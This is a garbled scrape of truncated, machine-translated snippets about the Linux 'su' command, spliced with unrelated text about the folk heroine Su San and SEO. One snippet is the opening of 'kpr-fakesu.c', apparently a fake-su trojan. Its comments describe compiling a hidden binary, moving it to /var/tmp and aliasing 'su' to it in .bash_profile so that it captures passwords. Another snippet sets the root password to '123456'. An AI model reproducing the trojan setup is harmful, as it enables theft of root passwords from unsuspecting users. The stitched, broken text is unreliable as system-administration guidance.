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Tags: su: Unable to set User ID: Resource temporarily unavailable Oracle Profile user ResourceSu:Unable to set userId:resource is temporarily unavailableProblem phenomenon:650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M02/8C/0A/wKioL1hglxbSXqDfAAAU0qLu7KU491.png-wh_500x0-wm_3 -wmp_4-s_840163691.png "title=" 1.png "alt=" Wkiol1hglxbsxqdfaaau0qlu7ku491.png-wh_50 "/>Cause of the problem:The problem is : Under the/ETC/SECURITY/LIMITS.D directory,

/* * Kpr-fakesu.c v0.9beta167; p. * By Koper * * Setting up: * Admin @ host :~ $ Gcc-o. Su fakesu. C; RM-RF fakesu. c * Admin @ host :~ $ MV. Su/var/tmp/. Su * Admin @ host :~ $ CP. bash_profile. wgetrc * Admin @ host :~ $ Echo "alias su =/var/tmp/. Su">. bash_profile * Admi

Susan Su San, famous for its novels and plays, is a well-known character in China. The story of saving his husband and daughter happened in Hongdong County, Shanxi Province. Until the nine years of the Republic of China (1920 AD), The Hongdong County Judicial Department also stored Susan's case file. Su San, formerly known as Zhou Yujie, was from zhoujiazhuang, Datong mansion, Shanxi Province in the Min

Because the root user has full operation permissions on the system, in order to avoid some mistakes, we recommend that you log on to the system as a general user. If necessary, you need root operation permissions, then, run the "su-" command to log on as the root user.Generally, you can log on as the root user to configure the system as Administrator by executing the "su-" command and entering the correct r

Linux-based su, named, and INN-general Linux technology-Linux technology and application information. For details, refer to the following section. Su Su is used to change the ID of the current user and convert it to another user. You can log on as a common user. When you need to do something as root, you only need to execute the "

Today, we will introduce two Ubuntu commands: sudo and susudo, which are called super-userdo, so that the current user can temporarily run this command as the root administrator. Su is used to change the current user. suroot is used to switch the current user to the root user. After suroot is used, all the following commands can be skipped, because the current user is already the administrator root. Ubuntu has a distinctive feature, that is, when you

After Ubuntu is installed, you cannot run the su command in terminal. Because root does not have the default password, you need to set it manually.Log On with the username entered during Ubuntu installation. the user is in the admin group and has the permission to set the password for the root user.To set a password for the root user, follow these steps:1. Open a terminal and enter the following commandSudo passwd [root]Enter the original password, ne

The system environment is CentOS 6.4. This section describes the simple configuration process of PAM (Pluggable Authentication Modules) on the ssh service. You must first add a common user and belong to the wheel group to ensure that other users except root can log on to the system !!!!!!! Useradd-g wheel admin Passwd admin 1. Disable root Login Vim/etc/ssh/sshd_config Add UsePAM yes Add the following at the beginning of vim/etc/pam. d/sshd: Auth required pam_listfile.so item = user sense = de

#查看当前用户[[email protected] ~]# IDUid=0 (Root) gid=0 (root) group =0 (Root)[Email protected] ~]# WhoAmIRootSU Switch User-The user's environment variable is switched to the user's environment variable while the user is switching, if not added-the current environment variableNote: Root switch to other users, do not need to enter a password, while other users switch to root, it is necessary to enter a password.#-the difference between adding and not adding[Email protected] ~]#

The default root password for Ubuntu is random, which means that each boot has a new root password.After Ubuntu has just been installed, you cannot run the SU command in terminal because Root does not have a default password and needs to be set manually.To install the user name entered in Ubuntu login, the user in the Admin group, has the authority to set the root password.To set a password for the root user, specify the following steps:1. Open a term

necessary, execute the "unset tmout" command to cancel the tmout variable setting.2 User Switching and power-up2.1SU Command __ Switch UserWith the SU command, you can switch to the specified other user with all the permissions of that user, and of course, the password for the target user needs to be verified when switching, (rootà any user, do not verify password ordinary user à other user, verify the password of the target user)650) this.width=650;

------------------------------------------------------------------------------------------------First I made some changes to the operation:Change to root user's action =sudo suEnter the password for the current user:******To change the root password =passwd 123456/* Root password has been changed to 123456 */[Email protected] Chenwei [This section tells the difference]1. Use the SU command to temporarily switch the root user identity:{Condition: The n

After Ubuntu has just been installed, running the SU command in terminal will require a password, however, no matter what the loss will be wrong, the direct return is also wrong, because Root does not have a default password, need to manually set.To install the user name entered in Ubuntu login, the user in the Admin group, has the authority to set the root password.To set a password for the root user, specify the following steps:1. Open a terminal an

Client an Oracle suddenly when the machine, because the business start-up, the customer subconscious reboot the server, the system is up, ready to switch to Oracle users to start the database, can not SU switch, it is really to add to the description as follows: Under Root, Su to an ordinary user, Oracle, gets the following error: [Root@localhost ~]# Su-oracle

SEO optimization, said the website, to our vast number of SEO optimization workers brought a huge ideological torture, because the ranking of the site rose and ecstatic, because the site rankings of the sudden decline and pain, in the site rankings of ups and downs, interpretation of the life of the joys and sorrows of Love and hate, and all this process is like Su shi own life realm Below we from Su Shi is

1. Difference between Su and Su- Log on to my fc6 system as a common user, use the su command to switch to the super user, and then enter the ifconfig command. The error "command not find" is returned. If you use the Su-command to switch to the Super User, and then enter the ifconfig command, the execution will be succ

The Linux system provides two user permission management mechanisms: su and sudo. su is mainly used to switch users, while sudo users are used to improve execution permissions. The following describes in detail. I. su command -- switch usersWith the su command, you can switch to another user to have all the permissions

1,su Command (su is switch user, which is shorthand for switching users) Format: Su-l USERNAME (-L-Login, abbreviated for landing) If you do not specify username (username), the default is root, so the command to switch to root is: su-root or direct Su- Use

Because Android is the Linux kernel, it is understood that Linux rights Management can know the principle of root, specific access to the "Android system permissions and Root permissions " article, The general Androd under the SU command only support under the root user and Shell users have permission to run the program as the root user, actually read the Android source under the system/extras/su/ The SU.C